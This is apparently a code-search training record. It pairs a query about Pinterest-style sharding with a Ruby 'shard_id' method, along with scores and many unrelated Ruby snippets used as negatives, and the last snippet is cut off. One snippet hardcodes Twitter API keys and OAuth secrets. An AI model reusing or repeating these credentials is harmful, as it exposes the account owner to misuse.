handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def booking_tour_params params.require(:booking_tour).permit(:user_id, :tour_id, :number_of_people, :vehicle) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
Original ideas are from the Pinterest sharding blog post:
def shard_id return nil unless persisted? Stinger::Sharded::Utils.calculate_shard_id_from(client_id, id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def sitemaps; end", "def extra_pubish_tasks(p)\n \n end", "def probers; end", "def sharing \n end", "def spouse; end", "def shard; end", "def permalink_style; end", "def post_squares\n\ttumblr()\n\ttweet()\nend", "def permalink; end", "def permalink; end", "def sitemaps(url); end", "def get_issue_from_cover_page(cover_page)\r\n unless @login_success\r\n login\r\n end\r\n cover_image = cover_page.at(\".issue-image > img\")\r\n issue_id = id_from_href(cover_page.uri.path)\r\n issue = Issue.new(issue_id, \"The Economist\" ,cover_image['title'])\r\n issue.publisher = \"The Economist Newspaper Ltd.\"\r\n issue.cover_image = Image.new(cover_image['src'], \"cover.jpg\")\r\n\r\n puts \"Creating Kindle version of Issue \" + issue.to_s\r\n puts \"\"\r\n article_ids = []\r\n cover_page.search(\".section\").each do |s_element|\r\n section = Section.new(s_element.at(\"h4\").inner_html)\r\n s_element.search(\".article\").each do |a_element|\r\n link = a_element.at(\".node-link\")\r\n href = link[\"href\"]\r\n title = link.text\r\n article = Article.new(id_from_href(href), title, href)\r\n article_ids << id_from_href(href)\r\n section << article\r\n end\r\n issue << section\r\n end\r\n\r\n puts \"Downloading and processing articles:\"\r\n STDOUT.flush\r\n all_articles = issue.articles\r\n progress = ProgressBar.new(\"Downloading\", all_articles.length)\r\n all_articles.each_with_index do |article, done|\r\n\r\n article_page = @agent.get article.uri.to_s\r\n\r\n # get topic of article (its hard easier to extract than from the cover page)\r\n topic = article_page.at(\".fly-title\").text\r\n\r\n # the article abstract (curiously marked up as h1)\r\n if article_page.at(\"h1.rubric\")\r\n article.abstract = article_page.at(\".rubric\").text\r\n end\r\n\r\n # now the article content\r\n c_element = article_page.at(\".ec-article-content\")\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-items\").remove\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-expanded\").remove\r\n\r\n # replace links with local references\r\n c_element.search(\"a\").each do |a|\r\n if a['href'] && a['href'].start_with?(\"http://www.economist.com/node/\") &&\r\n article_ids.include?(id_from_href(a['href']))\r\n a[\"href\"] = a[\"href\"].gsub(\"http://www.economist.com/node/\", \"\") + \".html\"\r\n end\r\n end\r\n\r\n c_element.search(\"p\").each do |p|\r\n if p.children.first && p.children.first.name == \"strong\"\r\n p.swap(\"<h4>\"+p.children.first.text+\"</h4>\")\r\n end\r\n end\r\n\r\n # download the article images\r\n images = c_element.search(\"img\")\r\n images.each do |img|\r\n image = Image.new(img[\"src\"])\r\n img[\"src\"] = image.rel_path\r\n article.images << image\r\n end\r\n\r\n article.content = c_element.inner_html\r\n article.topic = topic if topic.strip != \"\"\r\n progress.inc\r\n end\r\n progress.finish\r\n puts ''\r\n issue\r\n end", "def keyword_pins; end", "def strategy; end", "def tag_bucket(photos, name: \"Tag Bucket\")\n # We're not sure how many unique tags there are in each sectionm\n # but we can find out in O(t) time\n # we could also specialize approaches for each type of input\n\n # do we try to compose ideal slides based on tags?\n all_tags = {}\n\n # if slides == nil\n # slides = []\n\n # # O(n)\n # photos.each do |photo|\n # slides << Slide.new([photo])\n # end\n # end\n\n slides = verts(photos).slides\n\n # O(t), where t is number of tags\n # O(n*t) space?\n slides.each do |slide|\n slide.tags.each do |tag_name, present|\n all_tags[tag_name] = [] unless all_tags.key?(tag_name)\n all_tags[tag_name] << slide\n end\n end\n\n slideshow = SlideShow.new(name: name)\n added_slides = {}\n\n all_tags.each do |tag_name, tag_bucket|\n available_slides = []\n tag_bucket.each do |tagged_slide|\n available_slides << tagged_slide unless added_slides.key?(tagged_slide)\n # slideshow.add_slide(tagged_slide)\n added_slides[tagged_slide] = true\n end\n next if available_slides.size == 0\n\n # convet the slides back to photos since we're going\n # to pass it through another system\n\n tmp_photos = []\n available_slides.each do |slide|\n tmp_photos += slide.photos\n end\n\n # Use an alternate strategy inside the bucket depending on how large it is\n if available_slides.size <= BRUTE_LIMIT\n tmp_show = brute(tmp_photos)\n elsif available_slides.size <= GREEDY_LIMIT\n tmp_show = greedy_cycle(tmp_photos)\n else\n tmp_show = greedy_cycle_glue(tmp_photos)\n end\n\n # alt approach =\n if available_slides.size > BRUTE_LIMIT\n annealing_show = simulated_annealing(tmp_photos)\n else\n annealing_show = nil\n end\n\n if annealing_show && annealing_show.score > tmp_show.score\n step_2 = annealing_show\n else\n step_2 = tmp_show\n end\n\n step_2.slides.each do |slide|\n slideshow.add_slide(slide)\n end\n\n end\n\n\n pees = []\n slideshow.slides.each do |slide|\n pees += slide.photos\n end\n\n anneal_show = simulated_annealing(pees)\n slideshow.slides = anneal_show.slides\n\n\n slideshow\n end", "def prapor_quest; end", "def filter_articles(articles)\n include PopularitySearch\n #this isn't fair to more recent articles\n popularity_cutoff = 300\n articles.each do |article|\n article[:twitter_pop] = twitter_popularity(article[:url])\n end\n articles.select do |article|\n article[:twitter_pop] > popularity_cutoff\n end\n articles = articles.sort_by{|article| article[:twitter_pop]}.reverse\n return articles[0..2] #only pick the top 3 if there's more than 3\nend", "def related_hashtag_cloud\n cloud = get_related_hashtags\n #Get rid of the ones that only intersect once.\n cloud.delete_if{|tag| tag[1] == 1}\n cloud = cloud.reverse.drop(cloud.count - 30).reverse if cloud.count > 30\n cloud\n end", "def simple_interest\n\nend", "def get_post_urls(post)\n\n url_value = post['data']['url']\n\n url_pair = { post_url: \"https://www.reddit.com\" + post[\"data\"][\"permalink\"], image_url: nil, format: nil }\n\n case url_value\n #imgur album, get the cover image.\n when /https?:\\/\\/imgur.com\\/a\\/(.*)/\n # Get the imgur id of the album.\n album_id = $1\n link_data = pull_imgur(album_id, :album)\n\n url_pair[:image_url] = link_data[:link]\n url_pair[:format] = link_data[:format]\n return url_pair if url_pair[:image_url]\n\n #imgur single image on a page, or direct link. Also handles mobile link posts.\n when /https?:\\/\\/(m|i\\.)?imgur.com\\/([a-zA-Z0-9]+)(\\..*)?$/\n # adding the 'i.' and the '.jpg' to the url goes straight to the image,\n # regardless of format. (jpg, png, gif, etc.)\n image_id = $2\n\n # nested case statements, I know.\n case $3\n when '.gif', '.gifv'\n url_pair[:image_url] = url_value.sub(/\\.gif(v)?/, '.mp4')\n url_pair[:format] = :gifv\n return url_pair if url_pair[:image_url]\n when nil\n link_data = pull_imgur(image_id, :image)\n\n # add the 'm' to the id to get the medium thumbnail from imgur\n thumb = link_data[:link].sub($2, $2 + 'm') if link_data[:link]\n\n url_pair[:image_url] = thumb\n url_pair[:format] = link_data[:format]\n return url_pair if url_pair[:image_url]\n else\n url_pair[:image_url] = url_value.sub($2, $2 + 'm') \n url_pair[:format] = :image\n return url_pair if url_pair[:image_url]\n end\n\n #any direct URL to an image that's not imgur.\n when /https?:\\/\\/[a-zA-Z0-9\\-._~\\/]+\\.(jpg|gif|png)/\n # Just return the value.\n url_pair[:image_url] = url_value\n url_pair[:format] = :image\n return url_pair if url_pair[:image_url]\n end\n # ignore unmatched urls. \n \n end", "def pinterest_share_url(options = {})\n \"http://pinterest.com/pin/create/button/?#{options.to_query}\"\n end", "def insights\n posts.map(&:pins).flatten.select { |p| p.content.present? && p.parent_id.blank? }\n end", "def snat_pool\n super\n end", "def hiddens; end", "def instagr( short_url, size = :medium)\n if respond_to?(:instagram)\n instagram( short_url, size )\n else\n return %Q|instagr.rb was integrated into instagram.rb. Please use the instagram.rb|\n end\nend", "def find_remaining_info(post)\n regex = /(http|https):\\/\\/(www.)?(?<network>instagram|twitter|vine|youtube).+(\\/|=)(?<id>\\w+)\\/?/\n match_data = regex.match(post.link)\n \n post.network = match_data[:network].titlecase\n id = match_data[:id]\n\n case post.network\n when \"Instagram\"\n Instagram.configure do |config|\n config.client_id = \"245d5992fc774b1db8d0b93db5c0ffb6\"\n end\n\n media = Instagram.media_item(Instagram.oembed(post.link).media_id)\n\n post.text = media.caption.text if media.caption\n post.image_url = media.images.low_resolution.url\n\n post.user_name = media.user.full_name\n post.user_image_url = media.user.profile_picture\n when \"Twitter\"\n Twitter.configure do |config|\n config.consumer_key = \"nykMJeAV0wZxbmACRXgv9g\"\n config.consumer_secret = \"f5Hl9WK2LHGkS1Xokdra97pPhRTxjJuMzoap4hQC3Y\"\n config.oauth_token = \"23519284-EURqOaxJ7JYUg49w5aPmnjTJp661drTMAATLNIEjU\"\n config.oauth_token_secret = \"IjxPf1fgdes8ZZBwSObwhffiSDD3jAuSBrSSRyLzMs\"\n end\n\n tweet = Twitter.status(id)\n\n post.text = tweet.text\n\n post.user_name = tweet.user.name\n post.user_image_url = tweet.user.profile_image_url\n when \"Vine\"\n\n when \"Youtube\"\n post.text = id\n\n post.user_name = \"Youtube Video\"\n end\n\n post.save\n end", "def fetch_content( collage )\n\n app_config = Rails.application.config_for( :customization )\n path = collage.path\n query = collage.query\n if json?( query )\n query = JSON.parse( query )\n query_type = query[ 'instagram' ][ 'type' ]\n query_string = query[ 'instagram' ][ 'query_string' ]\n end\n max_items = app_config[ 'collages_max_items_to_retrieve' ]\n index = 0\n\n # the following code goes to instagram and scrapes image data from\n # the page.\n # create a headless browser\n b = Watir::Browser.new :phantomjs\n uri = 'https://www.instagram.com/explore/tags/' + query_string.to_s\n uri = 'https://www.instagram.com/' + query_string.to_s if query_type == 'user'\n b.goto uri\n\n # all data are stored on this page-level object.\n o = b.execute_script( 'return window._sharedData;')\n o = extract_insta_data( o, query_type )\n\n data = o[ 'data' ]\n has_next_page = o[ 'has_next_page' ]\n max_id = o[ 'max_id' 